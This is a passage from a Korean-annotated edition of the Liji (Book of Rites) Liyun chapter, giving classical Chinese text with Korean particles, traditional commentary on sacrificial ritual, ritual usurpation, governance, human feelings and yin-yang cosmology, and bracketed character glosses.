점(衣衽)]\n5-4. 作其祝號이요, 玄酒以祭하며 薦其血毛하며 腥其俎하며 孰其殽하며 與其越[活]席하며 疏[平聲]布以冪[莫力反]하며 衣[去聲]其澣[戶管反]帛하며 醴醆以獻하며 薦其燔炙이니, 君與夫人이 交獻하야 以嘉魂魄이니 是謂合莫이라. 然後에야 退而合亨[烹]하야 體其犬․豕․牛․羊하며 實其簠簋籩豆․鉶[刑]羹하야 祝以孝告하며 嘏以慈告하나니 是謂大祥이니 此禮之大成也라.[340]\n周禮에 祝號有六하니 一神號요, 二鬼號요, 三祗號요, 四牲號요, 五齍號요, 六幣號라. 作其祝號者는 造爲鬼神及牲玉美號之辭라. 神號는 如昊天上帝. 鬼號는 如皇祖伯某. 祗號는 若后土地祗, 牲號는 若一元大武. 齍號는 若稷曰明粢. 幣號는 若幣曰量幣라. 祝史이 稱之以告鬼神也라. 每祭에 必設玄酒나 其實은 不用之以酌하고, 薦其血毛는 謂殺牲之時라. 取血及毛하야 入以告神於室也라. 腥其俎는 謂牲旣殺에 以俎盛肉하야 進於尸前也라. 祭玄酒.薦血毛.腥俎.此三者는 是法上古之禮요, 孰其殽以下는 是中古之禮라. 殽는 骨體也니 以湯爓爲熟이라. 越席은 蒲席也라. 疏布는 麄布也라. 冪은 覆尊也라. 周禮에 越席疏布는 祭天用之하고 此以爲宗廟之用은 記者이 雜陳之也라. 澣帛은 謂祭服을 以湅染之帛으로 制之也라. 醴醆以獻者는 朝踐薦血腥時에 用醴요, 饋食薦熟時에 用醆也라. 薦其燔炙者는 燔肉炙肝也라. 特牲禮에 主人이 獻尸어든 賓長以肝으로 從하고, 主婦이 獻尸어든 賓長以燔으로 從也라. 第一은 君이 獻하고, 第二는 夫人이 獻하고, 第三은 君이 獻하고, 第四는 夫人이 獻 故로 云.若與夫人이 交獻也라. 此以上,至孰其殽는 是法中古之禮니 皆所以嘉善於死者之魂魄而求以契合於冥漠之中也라. 然後退而合亨은 謂先薦爛未是熟物이요, 今乃退取向爛肉하야 更合而烹煑之하야 使熟而可食也라. 又尸俎에 惟載右體하고 其餘不載者와 及左體等을 亦於鑊中에 烹煑之 故로 云.合亨也라. 體其犬豕牛羊者는 隨其牲之大小烹熟하야 乃體別骨之貴賤하야 以爲衆俎. 用供尸及待賓客兄弟等也이니, 此是祭末饗燕之衆俎요 非尸前之正俎也라. 簠는 內圓而外方이니 盛稻粱之器라. 簋는 外圓而內方이니 盛黍稷之器라. 籩豆는 形制이 同하니 竹曰籩이요, 木曰豆라. 鉶은 如鼎而小이니 菜和羹之器也라. 祝嘏은 說見前. 孝는 事祖宗之道也라. 慈는 愛子孫之道也라. 合亨以下는 當世之禮也라. 祥은 猶善也라.\n[嚴陵方氏曰血所以告幽毛所以告全腥其俎則事之以神道孰其殽則事之以人道越席則郊特牲所謂蒲越藁鞂之尙是矣疏布禮器所謂犧尊疏布鼏是矣澣帛則祭統所謂以其純服是矣凡此所言則合古今之異質文之變也又曰合亨則合衆物而亨之犬豕牛羊骨有貴賤各異體焉故曰體以稻梁而實簠以黍稷而實簋以水上之品而實籩豆以五味之和而實鉶一故曰實祖禰所以望子孫者莫大乎孝故祝以孝告子孫所以頼祖禰者莫過乎慈故嘏以慈告夫禮至於此則始於占而成於今始於實而成於文矣故曰大成也]\n[蔣氏曰禮之始貴乎一終極其備故血毛腥俎殽孰越席疏布之事猶有貴乎古先也乃曰合莫謂其本是精神以求神於冥漠之間也合亨體薦籩豆簠簋鉶羹詞説之詳是後世之所備也乃曰大祥謂其擧是備禮而極其祥善之義也蓋聖人制禮豈容一毫之僞方其合莫以求神也物味薄而誠敬在禮文簡而精神通至於成禮而致祥也品物具而神祗樂誠意散而詞説行學者苟能究觀聖人終始考禮之意而得之於想像形容之妙則凡器物之陳節文之變皆有深長之義存乎其間]\n[延平周氏曰奉上世之禮物而罕及於後世者則無文奉後世之禮物而罕及於上世者則無本有本有文此之謂禮之大成也]\n[冪(멱):덮다,장막,밥보자기][齍:黍稷器자][俎도마][麄=麤][鑊:가마확][簠:盛黍稷器보][簋:盛黍稷器궤][爛:火熟난][煑=煮:삶을자][粱:쌀량][鉶][藁:짚고][鞂:볏집새꽤기갈][鼏:솥뚜껑멱,(冪同)][頼=賴]\n6. 孔子이 曰호대 鳴呼哀哉라. 我 觀周道호니 幽厲이 傷之호니 吾이 舍[上聲]魯 何適矣리오? 魯之郊禘이 非禮也이니 周公은 其衰矣로다. 杞之郊也는 禹也요. 宋之郊也는 契[선열반]也니, 是天子之事를 守也라. 故로 天子는 祭天地하고 諸侯는 祭社稷이니라.[345]\n幽厲之前에 周道已微호대 其大壞則在幽厲也라. 魯는 周公之國이라. 夫子이 嘗言其可一變至道則舍魯何往哉리요? 然.魯之郊禘則非禮矣라. 禹爲三代之盛王이라. 故.杞得以郊하고 契爲殷之始祖라. 故.宋得以郊하니 惟此二國可世守天子之事하야 以事其祖요. 周公은 雖聖人이나 臣也라. 成王之賜이 固非요, 伯禽之受이 尤非니 周公이 制禮作樂하사 爲萬世不易之典而子孫이 若此하니, 是周公之敎이 因子孫之僭禮而衰矣라. 天地社稷之祭는 君臣之分이 凛不可踰어늘 會謂人臣而可僭天子之禮哉아!\n○ 石梁王氏曰此一章은 眞孔子之言으로 註不能明其旨라. 天子는 祭天地하고, 諸侯는 但可祭社稷이니, 杞宋之郊는 是.王者之後라. 天子之事를 守하니 禮之所許者어니와 魯而有郊는 是.背周公所制之禮니 與杞宋不同也라.\n[張子曰周公用天子禮樂或以爲有人臣不可爲之功則當用不可用之禮夫有權有位則人臣所遇當如此至用天子之禮樂則非也故魯之郊禘非禮也家臣僭大夫三桓僭魯魯僭天子推其原皆在成王成王賜伯禽天子禮樂自其時已啓下僭上之階矣]\n[馬氏曰夫郊者天子外祭之重者也禘者天子內祭之重者也郊禘者天子之禮非諸侯所宜有也成王非所錫(賜)而錫之魯君非所受而受之此魯之郊禘所以爲非禮故曰周公其衰矣 所謂衰者非周公之衰也 言後也僭用天子之禮也周公之道所以爲衰矣杞宋皆天子之事守魯之郊禘非天子之事守故曰非禮]\n[臨川吳氏曰言杞宋二國所以得郊者蓋以二王之後修其天子所行之事後世遵守而行之者也若魯則非有天子之事可守豈可僭郊也哉因言周公所制正禮唯天子得於圓丘祭天方澤祭地諸侯則但於社祭地及祭稷神而已不得如天子之祭天祭地也]\n7-1. 祝嘏를 莫敢易其常古할새 是謂大假니라.[347]\n祭禮.祝於始하고 嘏於終하니 禮之成也라. 常古常事古法也라. 不敢變易은 謂貴賤行禮를 一依古制也라. 假亦當作嘏이니 猶上章大祥之意라. 言.行當然之禮則有自然之福이니 其福이 大矣라.\n[臨川吳氏曰假與嘏字通用嘏尊祝卑以尊統卑故但言假]\n7-2. 祝嘏辭說을 藏於宗祝巫史이 非禮也니 是謂幽國이라.[348]\n祝嘏辭說은 禮之文也니 無文이면 不行이라. 周禮大宗伯이 掌詔六號하니 重其事耳어늘 衰世君臣이 慢禮하야 惟宗祝巫史이 習而記之故로 謂幽昏之國이라. 言其昧於禮하야 無以昭明政治也라.\n[長樂劉氏曰周官太祝掌六祝六祈六辭六號九祭九拜之辭與法皆繫諸六典之籍而藏於太史屬諸春官上下相維不可少廢也今仲尼之時遭幽厲之君傷春秋之亂祝嘏辭説藏於宗祝巫史之家遂使國之禮典幽暗不明故曰幽國也]\n7-3. 醆[側眼反]斝[古雅反]를 及尸君이 非禮也니 是謂僭君이라.[349-1]\n醆은 夏之爵이요, 斝는 殷之爵이라. 尸君은 君之尸也라. 杞宋은 二王之後.得用以獻尸어니와 其餘列國은 惟用時王之器어늘 今國君이 皆用醆斝하야 以及於尸君하니 非禮也라. 是僭上之君耳라.\n[長樂劉氏曰天子備六代禮樂其祭於宗廟也獻酢君尸則用醆斝今也諸侯亦用之不曰僭君乎]\n7-4. 冕弁兵革을 藏於私家이 非禮也니 是謂脅君이라.[349-2]\n冕은 祭服之冠이요, 弁은 皮弁也라. 大夫는 稱家이니 大夫이 以朝廷之尊服과 國家之武衛로 而藏於私家면 可見其強橫이니, 則此國君者이 乃見脅於強臣之君也라.\n7-5. 大夫이 具官하며 祭器를 不假하며 聲樂을 皆具이 非禮也니 是謂亂國이라.[350]\n家臣은 不能具官하야 一人이 常兼數事이니, 具官은 僭擬也라. 祭器는 惟公孤以上得全備요, 大夫無田祿者는 不設祭器니 以其可假也요, 有田祿者도 祭器를 亦不得全具하야 須有所假이니 不假이 亦僭擬也라. 周禮에 大夫이 有判縣之樂하고, 少牢이 饋食에 無奏樂之文하니 是는 大夫祭不用樂也라. 或君賜이라야 乃有之耳니, 聲樂皆具이 亦僭擬也라. 尊卑無等이 非亂國而何오?\n[蔣氏曰禮莫嚴於祭然誠敬不根於內心則交神之道虧用器或忘乎分守則僭上之患起聖人所甚懼也祝嘏辭説此豈交神明之虛語聖人擧孝慈相感之義以發之於禮經而詩有之曰令終有俶公尸嘉告蓋致祭受福之義盡之於對越無愧之素而行之於精神必通之時誠非具文也如其出於宗祝巫史藝以藏之而有事之際擧以行焉自謂神明之及交其謂之幽國宜哉至於爵有醆斝夏商所制也禮天子奠斝諸侯奠角郊特牲言擧斝角詔妥尸禮器宗廟之制卑者擧角等級明甚今諸侯之制而醆斝以及尸安得不謂之僭君噫聖人言禮至是則亦甚不得已矣若是則大夫安得不僭諸侯哉繁纓小物君子惜之今也冕弁藏於私家弓矢鈇鉞諸侯猶俟命於天子今也兵革藏於私家六命賜官限制甚嚴而大夫具官不由於所賜四命受器自有彛典而大夫聲樂皆具祭器不假此所以官事不攝反坫爲禮八佾舞庭三分公室竊攘僭逼之事莫之禦歟甚而至於君臣同國此聖人所以傷今思古固有望於隆禮之君也]\n[俶:비롯할숙,시작,정리,쌓다][愧:부끄러울괴,수치][斝:옥술잔가][妥:온당할타][繁:번창번][鈇:작도부][鉞:도끼월]\n8. 故로 仕於公曰臣이오. 仕於家曰僕이니. 三年之喪과 與新有昏者를 期[基]를 不使하나니 以衰[催]裳入朝하며 與家僕으로 雜居齊齒면 非禮也니 是謂君與臣이 同國이니라.[352]\n臣者는 對君之稱이요, 僕者는 服役之名이라. 仕於大夫者이 自稱曰僕則益賤矣라. 人臣이 有三年之喪.或新昏則一期之內에 君不使之니 所以體人情也라. 就二者而論이면 喪尤重於昏也이거늘 今乃不居喪於家而以衰裳入朝면 是는 視君之朝를 如己之家矣니, 是君與其臣으로 共此國也라. 就卿大夫而言컨데 僕又其臣也어늘, 今卿大夫이 乃與其家之僕으로 雜居齊列하야 無貴賤之分이면 亦是君與臣이 共此國也라.\n[嚴陵方氏曰臣者對君之稱故仕於公曰臣而諸侯稱君僕者對主之稱故仕於家曰僕而大夫稱主]\n[延平周氏曰均仕也一爲僕則其臣不得與之雜居齊齒先王之正名其詳至於如此]\n[臨川吳氏曰先言臣與僕之不同稱以見臣與僕同居處者之爲非禮先言喪與昏者之不役使以見臣服衰裳入君朝者之爲非禮]\n9. 故로 天子이 有田하사 以處其子孫하시며, 諸侯이 有國하사 以處其子孫하시며, 大夫이 有采하야 以處其子孫하니 是謂制度라.[353]\n王之子弟이 有功德者를 封爲諸侯하고, 其餘則分以畿內之田하고, 諸侯子孫은 命爲卿大夫하고, 其有功德者는 亦賜采地하고, 所謂官有世功則有官族하고, 邑亦如之也라. 大夫位卑하니 不當割采地.以與子孫이요. 但養之采地之祿耳는 此先王之制度也라.\n[長樂陳氏曰制則有所裁度則有所限先王以人之子孫上以承先祖之祀下以綿本支之世莫不思有以處之然其處之則有所裁之制所限之度此固不可無尊卑隆殺之別也天子不曰天下而曰田所以明其止於千里以與天下共之也諸侯不曰田而曰國所以明其專於百里而非與天下共之也大夫食其所有事者故其地命之曰采采者事也凡此言其大法而已若夫諸侯大夫之子其不肖者固不可以世食而大夫之子苟其賢之過人又不止於食舊而已]\n[金華應氏曰處者位置而區處之各得其宜大者謹其禮而無濫恩小者安其分而無歉志以制度不可踰也制度一定則人欲偏厚其子孫者固無所容其私心而侵剝枝葉兼幷同姓者亦不容薄於所厚矣]\n[新安王氏曰幽國僭君脅君亂國君與臣同國皆諸侯卿大夫失禮也禮之失起於制度之壞故此明言先王制度大小有等尊卑有辨天子地方千里有國以處其子孫諸侯不得僭也諸侯地方百里有國以處其子孫卿大夫不得僭也卿大夫各有食邑以處其子孫家臣不得僭也制度一定上下截然安得有前五失諸侯僭差起於天子失禮卿大夫僭差起於諸侯失禮故下文言之]\n10. 故로 天子이 適諸侯하사 必舍[去聲]其祖廟하시나니 而不以禮籍으로 入하면 是謂天子이 壞[恠]法亂紀니라. [355]\n廟尊於朝故로 天子舍之나 然必太史이 執簡記.奉諱惡者는 不敢以天子之尊而慢人之宗廟也니 不如此則是는 壞法度亂紀綱矣라.\n[長樂劉氏曰諸侯敬於天子雖其祖先宗廟亦不敢私有乃以舍至尊上下之分此亦至矣然而天子必以太史所掌之禮籍入處其廟言動之際必據乎禮示不敢慢也]\n[嚴陵方氏曰舍其祖廟者在諸侯則不敢爲之主在天子則不忘於所敬故也禮籍若小行人掌邦國賓客之禮籍之類乃法之所以存紀之所以立今也不以入故曰壞法亂紀]\n[恠=怪俗字:기이할괴]\n11-1. 諸侯이 非問疾弔喪이어든 而入諸臣之家하면 是謂君臣이 爲謔이라.[356]\n諸侯이 於其臣에 有問疾弔喪之禮하니 非此而往이면 是는 戱謔也라. 敗禮之禍이 恒必由之니라.\n[蔣氏曰諸侯有一國因問疾弔喪入諸臣之家所以憫難恤患見厚下之情乃若出入無名率意以行此固驅馳而往之事所由萌乎君臣無私交聖人嚴之故曰是謂君臣爲謔]\n11-2. 是故로 禮者는 君之大柄也니 所以別嫌明微하며 儐[擯]鬼神하며 考制度하며 別仁義하나니 所以治政安君也라.[357]\n國之有禮이 如噐之有柄하니 能執此柄則國可治矣라. 接賓以禮曰儐이니 接鬼神이 亦然故로 曰儐이라. 制度는 如禮樂.衣服.度量.權衡之類이니 考而正之하야 不使有異라. 仁主於愛하고 義主於斷이니 別而用之하야 心當其宜니라.\n[長樂陳氏曰禮之有體可執以治國猶器之有柄可執以治事故曰禮者君之大柄也惟其爲大柄則能別嫌於難辨明微於未彰幽可以儐鬼神明可以考制度別仁義以至於治政安君也]\n[馬氏曰禮者政刑之本也治國不以禮則操持悖謬而失其所要故曰大柄柄者言其所執之要也嫌者人之所難別而禮有以別之微者人之所難明而禮有以明之鬼神在其幽而人不可測度者也而禮有以使鬼神之格故曰儐以禮賓之也制所以裁度所以節皆禮有以考之仁有殺義有等皆禮有以別之夫觀其禮所以知其政禮之所興則政之所變則政之所亂安上治民莫善於禮者所以治政安君也]\n12. 故로 政不正하면 則君位危하고 君位危하면 則大臣이 倍하고 小臣이 竊하며 刑肅而俗敝하면 則法無常하고 法無常하면 而禮無列하나니 禮無列하면 則士不事也요 刑肅而俗敝하면 則民弗歸也니 是謂疵[慈]國이라.[358]\n倍는 違上行私也니 或亦倍而去之之라. 謂小臣竊은 所謂盜臣也라. 肅은 峻急也라. 俗敝는 人無廉恥하야 風俗이 敝敗也라. 治國無禮故로 至於刑肅而俗敝하니 爲君者이 但恣己用刑하야 遂廢常法에 法廢而禮無上下之列矣라. 宜乎士不修職하며 民心離叛也니 豈非疵病之國乎아?\n[長樂陳氏曰政不正則君位危所謂上無道揆也則大臣倍而不法小臣竊而不廉所謂下無法守也上無道揆下無法守則刑肅而不中俗敝而不美法亂而無常禮紊而無別所謂士者亦不事其事也士不事其事則民亦不歸之矣然重言刑肅而俗敝者蓋以亂之所致多在刑肅以其刻核太至故也夫治之爲道由內以及外故禮出而後有法法出而後有刑及其亂也由外以及內故刑肅而後法無常法無常而後禮無列矣]\n[嚴陵方氏曰大臣倍非所謂大臣法也小臣竊非所謂小臣廉也國有常法制民于刑之中而已苟刑肅而至於俗敝則法失其常矣故言法無常法以禮爲體禮以法爲用用旣無常則體亦無列故言禮無列無列者失其序之謂也是則人不安其職矣故言士不事蓋士以事事爲正故也刑肅而俗敝民將畏罪而離散矣故言則民弗歸也俗敝民散又何以致國之肥乎故以疵言之]\n13. 故로 政者는 君之所以藏身也니 是故로 夫政은 必本於天하야 殽[效]以降命하나니 命降于社之謂殽地요, 降于祖廟之謂仁義요, 降於山川之謂興作이요, 降於五祀之謂制度니, 此 聖人所以藏身之固也라.[360]\n藏은 猶安也니, 君者는 政之所自出 故로 政不正則君位危하니 書言,天工을 人其代之라 하니라. 典曰天敘요, 禮曰天秩이니, 是,人君之政이 必本於天而效法之하야 以布命於下也라. 社는 祭后土也니, 因祭社而出命은 是效地之政이요, 有事於祖廟而出命은 是仁義之政이요, 有事於山川而出命은 是興作之政이요, 有事於五祀而出命은 是制度之政이니, 效地者는 效其高下之勢하야 以定尊卑之位也요, 仁義者는 仁以思慕言이요, 義以親疎言이니, 思慕之心이 無窮而親疎之殺이 有定이라. 又 親親은 仁也요, 尊尊은 義也니, 自仁率親하야 等而上之하야 至于祖而尊尊之義隆하고, 自義率祖하야 順而下之하야 至于禰而親親之仁이 篤也라. 興作之事이 非材不成이라. 故.於山川이요, 制度之興이 始於宮室이라. 故.本五祀하니 夫安上治民이 莫善於禮라. 聖人庸禮之政이 如此故로 身安而國可保也라.\n[蔣氏曰聖人本天理以出政傚之以降命於天下凡其興建顯設咸有定序使萬物森列各居其位而不相奪者皆非私意爲之也是以命降于社之謂殽地蓋言因地事地敎民美報而地道以顯也降于祖廟之謂仁義蓋言反本復始尊祖敬宗而人道以立也降于山川之謂興作蓋言備物致用率作興事而職業以起也降于五祀之謂制度蓋言門行有守外內有職而宮室以居也聖人必於此致意焉而後爲藏身之固蓋人道立於天下莫先於天地鬼神各安其位莫先於孝慈報反各有其常又莫先於養生居處各有其序其所以隄防世故維持人心在此矣此二帝三王所以爲天下開物成務之主布政乎天下者本此道也]\n[嚴陵方氏曰於祖廟言仁義則知本於天者爲陰陽之道降于社者爲剛柔之德也於五祀言制度固知興作之爲事功矣道德仁義興作制度皆政之所存者而聖人特寓之於天地祖廟山川五祀使萬物莫不聽命焉其序先天而後地者上下之序也次之以祖廟者尊卑之序也又次之以山川者內外之序也又次之以五祀者大小之序也]\n14. 故로 聖人이 參於天地하시며 竝於鬼神하시며 以治政也니, 處其所存은 禮之序也요, 玩其所樂[洛]은 民之治也라. 故로 天生時而地生財하며 人其父生而師이 敎之하나니 四者를 君이 以正用之하시나니, 故로 君者는 立於無過之地也니라,[363]\n此는 承上章.言政之事이니 謂聖人이 所以參贊天地之道.儗竝鬼神之事이 凡以治政而已라. 故.處天地鬼神之所存則天高地下萬物散殊를 聖人法之하시니, 此이 禮之所以序也요. 玩天地鬼神之所樂則流而不息.合同而化를 聖人이 法之하시니 此이 民之所以治也요. 四時이 本於天하고, 百貨이 産於地하고, 人生於父而德成於師하고, 此四者는 君以正用之니 謂人君이 正身修德.順天之時因地之利而裁成其道하고 輔相其宜하야 以左右民하야 使之養生喪死에 無憾然後에 設爲庠序學校之敎하야 申之以孝弟焉則有以富之敎之而治道이 得矣라. 然.其要이 在君之自正其身하야 立於無過之地而後에 可이니 不能正其身이면 如正人에 何오?.\n[蔣氏曰聖人道同乎天地故其身能與天地而爲三知通乎鬼神故其身足與鬼神而竝立]\n[長樂陳氏曰夫知天地鬼神之禀則有所存明天地鬼神之用則有所樂處其所存乃禮之先後之序玩其所樂此民之所以治也]\n[馬氏曰變通莫大於四時而有天以生之聚人莫若財而有地以生之后非民無以辟四方而有父以生之人非敎則無以別於禽獸而有師以敎之四者皆出於自然而無俟於君可也而曰正用之何也蓋天雖生於時而茂對育物者非君不能育也地雖生乎財而理財正辭者非君明其義則不能理也人生雖自乎父而非君則罔克胥匡以生敎雖自乎師而非君則不能安其敎正用之者順其自然之理而立於無過之地也夫有天以生時有地以生財有父以生之有師以敎之則富庶敎之具備可以参天地之化育而成位乎其中矣]\n[嚴陵方氏曰時以氣運故天生時財以形成故地生財父以傳類故人其父生師以傳道故師敎之爲之君者位天地之中居父師之上夫何爲哉以正用之而已]\n14. 故로 君者는 所明[讀爲則]也라. 非明[則]人者也며, 君者는 所養[去聲]也라. 非養人者也며 君者는 所事也라. 非事人者也니, 故로 君이 明[則]人則有過하고 養人則不足하고 事人則失位니, 故로 百姓은 則[如字]君以自治也하며 養君以自安也하며 事君以自顯也하나니, 故로 禮達而分[去聲]定이니, 故로 人皆愛其死 而患其生이니라.[366]\n此는 承上章.君立於無過之地而言이니 舊說에 明은 猶尊也라. 故.讀則君.爲明君하니 今定此章三明字를 皆讀爲則字則上下文義이 坦然相應矣니 不必迂其說也라. 君者는 正身修德而爲臣民之所則傚者也니 非則傚人者也요, 臣民之所奉養也니 非奉養人者也요, 臣民之所服事也니 非服事人者也라. 君而則人則是.身不足以爲人所取則而反取則於人이니 非立於無過之地者矣요, 君而養人則一人之身이 豈能供億兆人之食이리요. 必不足矣요, 君而事人則降尊以事卑하니 爲失位矣라. 惟百姓者는 則君以自治其身하니 所謂文武이 興則民이 好善也요. 養君以自安하니 謂竭力供賦稅則有耕食鑿飮之安也요, 事君以自顯하니 謂竭忠盡職則有錫爵之榮也라. 禮敎通達而名分이 不踰故로 人皆慕守義而死하고 恥不義而生也라.\n○ 石梁王氏이 曰 此處이 皆非夫子之言이라.\n[長樂陳氏曰百姓則君以自治而善有以遷養君以自安而分有以處事君以自顯而忠有以盡如是則禮達於上下之間而分定於尊卑之際故人於其義之可死則不苟避於其不義之生則不苟存此所謂修禮以達義而不愛其情也]\n[朱子曰禮達而分定達謂達於下]\n[蔣氏曰天下之勢莫患乎上下無以相別而分守無以相安也若夫主勢一定而君德旣孚天下之民方且遵名守敎相從於畏愛則象之中甘心於服役事養之際求其爲自安自適之不暇安有欺背僭陵之事哉故曰禮達而分定則人皆愛其死而患其生好生惡死人心之所同然聖人有禮以率天下能使所欲有甚於生所惡有甚於死則其功用固不容以小言也]\n15. 故로 用人之知[去聲]하고 去[上聲]其詐하고 用人之勇하고 去其怒하며 用人之仁하고 去其貪이니라.[369]\n言.人君이 用人當取其所長이요, 舍其所短이니, 蓋中人之才이 有所長에 必有所短也라. 去猶棄也라. 有知謀者易流於欺詐故,用人之知에 當棄其詐而不責也요, 有剛勇者이 易至於猛暴故.用人之勇에 當棄其猛暴之過也라.\n○朱子이 曰 仁은 止是愛니 愛而無義以制之에 便事事都愛好物事也요, 愛好官爵也니, 愛는 愛錢也라. 愛事事都愛는 所以貪也니 故.用人之仁에 當棄其貪之失也라.\n[朱子曰人之性易得偏人旣仁如何貪蓋仁善底人便有好便宜底意思今之廉介便多是那剛硬底人]\n[延平周氏曰孔子言道之序則仁先之知次之勇又次之言爲道則知先之仁次之勇又次之今以勇問於知與仁者蓋知仁以勇爲主故間(問)之]\n16. 故로 國有患이어든 君이 死社稷을 謂之義요. 大夫死宗廟를 謂之變[讀爲辨]이라 하니라.[370-1]\n大夫死宗廟는 言衛君之宗廟而致死也라. 然己之宗廟이 亦在本國하니 不棄君之宗廟는 卽是不棄己之宗廟也라. 舊說에 變은 讀爲辨하니 辨은 猶正也라. 一說에 其死이 有分辨이니 非可以無死而死也라.\n17. 故로 聖人이 耐[能]以天下爲一家하며 以中國爲一人者는 非意之也라. 必知其情하야 辟[婢亦反]於其義하며 明於其利하며 達於其患하나니, 然後 能爲之니라. 何謂人情고? 喜와 怒와 哀와 懼와 愛와 惡과 欲과 七者는 弗學而能이니라. 何謂人義요? 父慈하며 子孝하며 兄良하며 弟弟하며 夫義하며 婦聽하며 長惠하며 幼順하며 君仁하며 臣忠이니, 十者를 謂之人義요, 講信修睦을 謂之人利요, 爭奪相殺을 謂之人患이라하나니, 故로 聖人之所以治人七情을 修十義하며 講信修睦하며 尙慈讓去[上聲]爭奪은 舍禮하고 何以治之리오.[370-2]\n非意之는 謂非以私意로 臆度而爲之也니 必是知其有此七情也라. 故開辟其十義之途而使之由之하고 明達其利與患之所在而使之知所趨知所避然後에 能使之爲一家.爲一人也라. 七情弗學而能이니 有禮以治之則人義人利이 由此而生이요. 禮廢則人患이 由此而起니라.\n○ 問愛與欲이 何이잇가? 別朱子이 曰 愛是汎愛那物이요, 欲則有意於必得이니, 便要拏將來니라.\n[延平周氏曰天下非一家而能以爲一家中國非一人而能以爲一人者必先知人情而無喜其所怒無欲其所惡然後開於人義使之知父子君臣之大倫明於人利使之講信修睦達於人患使之無爭奪以相賊如此則天下所以爲一家中國所以爲一人也]\n[蔣氏曰天下大本在於人情離合而衆寡遠近不與焉情之所合則措天下之異而歸之同情之所離則天下之勢不可得而強一矣今夫天下一家中國一人此豈臆度料想姑爲是言哉古之聖人總攝人心維持世故所以起天下聨絡親比之義而革其乖戾達背之習者蓋亦灼見是理而爲之惟知天下之情是以開闢天下之大義興利銷患而人心一也惟不知天下之情是 以失天下之義背利縱欲而人心離也又曰此義旣形此情遂定於是講信修睦而人利興此義不立此情日亂於是爭奪相殺而人患起然人豈本有是患哉情我所固有也義我所固有也惟其本義以制情是以因義以成利惟其舍義而言利是以因利而生患君子論人道之大揭此情此義於利害之間區別而備言之復究制情立義興利去患之説欲納天下於相安相養之域則自禮外無餘説也]\n[長樂陳氏曰喜愛欲者陽之情怒哀懼惡者陰之情凡此皆出於天然故言弗學而能也父慈子孝兄良弟弟夫義婦聽者閨門之義長恵幼順者鄕黨之義君仁臣忠者朝廷之義凡此皆出於人爲信則無所欺罔睦則有所顧省此皆足以和義故謂之人利爭而後奪奪而後相殺此皆足以召禍故謂之人患也][銷:녹일소]\n18. 飮食男女에 人之大欲이 存焉하고, 死亡貧苦에 人之大惡이 存焉하니, 故로 欲惡者는 心之大端也라.[374-1]\n人心이 雖有七情이나 總而言之면 止是欲惡二者라. 故.曰大端이라.\n19. 人藏其心이라. 不可測度[大洛反]也며 美惡이 皆在其心이라. 不見[現]其色也니 欲一以窮之인댄 舍禮하고 何以哉리오.[374-2]\n欲惡之心이 藏於內하니 他人이 豈能測度之하며 所欲之善惡과 所惡之善惡을 豈可於顔色에 覘之리요? 若要一一窮究而察識컨대 非求之於禮면 不可하니 蓋七情이 中節하며, 十義純熟則擧動이 自然合禮요, 若七情이 乖僻하야 人倫有虧則言動之間에 皆失常度矣니 有諸中이면 必形諸外也라. 若不知禮則無以察其情義之得失於動作威儀之間矣니라.\n[馬氏曰莫非欲也而欲之甚曰大欲莫非惡也而惡之甚曰大惡喜怒哀懼愛惡欲皆所謂情而情之所本尤在於欲惡故曰心之大端也心者色之蘊由色以觀心可測度雖作於其心而不見於色則人之深情厚貌有時而不知也故色厲而內荏色取仁而行違者有矣有禮以節之則美惡不能藏於心也故曰欲一以窮之舍禮何以哉]\n[嚴陵方氏曰欲惡心之大端雖各有端以藏其心不可測度也欲其所可欲惡其所可惡則爲美非所欲而欲非所惡而惡則爲惡然皆由心生者一也故曰皆在其心不見其色上言不可測度以不見其色故也禮器曰欲察物而不由禮弗之得矣正謂是也]\n[覘엿볼점(첨)][乖어그러질괴(戾)][僻후미질벽.치우침][蘊:꾸러미온,마름,쌓다.蘊奧.蘊藉.蘊蓄][荏들깨암.부드러움,차츰]\n20. 故로 人者는 其天地之德이요, 陰陽之交며 鬼神之會며 五行之秀氣也니라.[376]\n天地鬼神五行은 皆陰陽也라. 德은 指實理而言이요. 交는 指變合而言이요. 會者는 妙合而凝也라. 形生神發이 皆其秀而最靈者故로 曰五行之秀氣也라 하니라. ○ 石梁王氏이 曰 此語이 最粹라.\n[張子曰天地之德謂人之德性如天地之性人爲貴是也稟五行之氣以生最靈於萬物是其秀也神之言伸也鬼之言歸也凡生卽伸也要終卽歸也神之盛極於氣鬼之盛極於魄一體兼此終始此鬼神之會也陰陽之交鬼神之會五行之氣物生皆然而人爲備焉]\n[比溪陳氏曰人受陰陽二氣而生此身莫非陰陽如氣陽血陰脉陽體陰頭陽足陰上體爲陽下體爲陰至於口之語黙目之寤寐鼻息之呼吸皆有陰陽分屬不特人如此凡萬物皆然無一物不具鬼神又曰鬼神只是陰陽二氣之屈仲往來自二氣言之神是陽之靈鬼是陰之靈靈云者只是自然屈伸往來恁地活耳自一氣言之則氣之方伸而來者屬陽爲伸氣之已屈而往者屬陰爲鬼其實二氣亦只一氣耳]\n[馬氏曰凡盈於天地之間者莫不稟五行之氣也人之所以異於物以其得氣之秀而最靈者也]\n21. 故로 天이 秉陽하야 垂日星하고 地秉陰하고 竅[欺要反]於山川이라. 播[上聲]五行於四時하야 和而後에사 月生也하나니, 是以로 三五而盈하고 三五而闕하나니라.[377]\n竅於山川은 山澤이 通氣也라. 五行은 一陰陽也니 質具於地하고 氣行於天이라. 春木,夏火,秋金,冬水이 各主其事하야 以成四時라. 月之盈虧이 由於日之近遠하니, 四序이 順和하야 日行循軌而後에 月之生明이 如期하니 望而盈晦而死無朓朒之失也라.\n[長樂劉氏曰天也者陽氣之所積故曰秉陽焉地也者陰氣之所積故曰秉陰焉陰氣合陽於天上則爲日星是以其光下垂焉陽氣合陰於地下則爲山川是以其竅上通焉]\n[長樂劉氏曰天以淸秉陽在天者成象則日星是也 地以濁秉陰在地者成形則山川是也天地旣位於上下則播五行於其中故天一生水而播於冬天三生木而播於春地二生火而播於夏地四生金而播於秋天五生土而播於四時之間自天一至于天五則爲十五之數十五之數成其所播者旣和然後月生而如其數蓋三五者數之所變故數之至於三五則爲五行生數之極而月所以盈又積之至於三五則爲五行成數之極而月所以闕也然而陰陽之義配日月此特言月而不言日何也 蓋月有盈闕之常而又多薄蝕之變得其常則四時和及其變則田時乖故觀月之生而已矣]\n[竅:구멍규,비다][播뿌릴파][朓그믐달조][朒:초승달뉵][蝕:갉아먹을식]\n22. 五行之動이 迭[전결반]相竭也니 五行․四時․十二月이 還[旋]相爲本也요.[379]\n動은 運也요, 竭은 盡也니 終也요. 本者는 始也라. 五行之運이 於四時에 迭相終而還相始하야 終則有始이 如環無端也라. 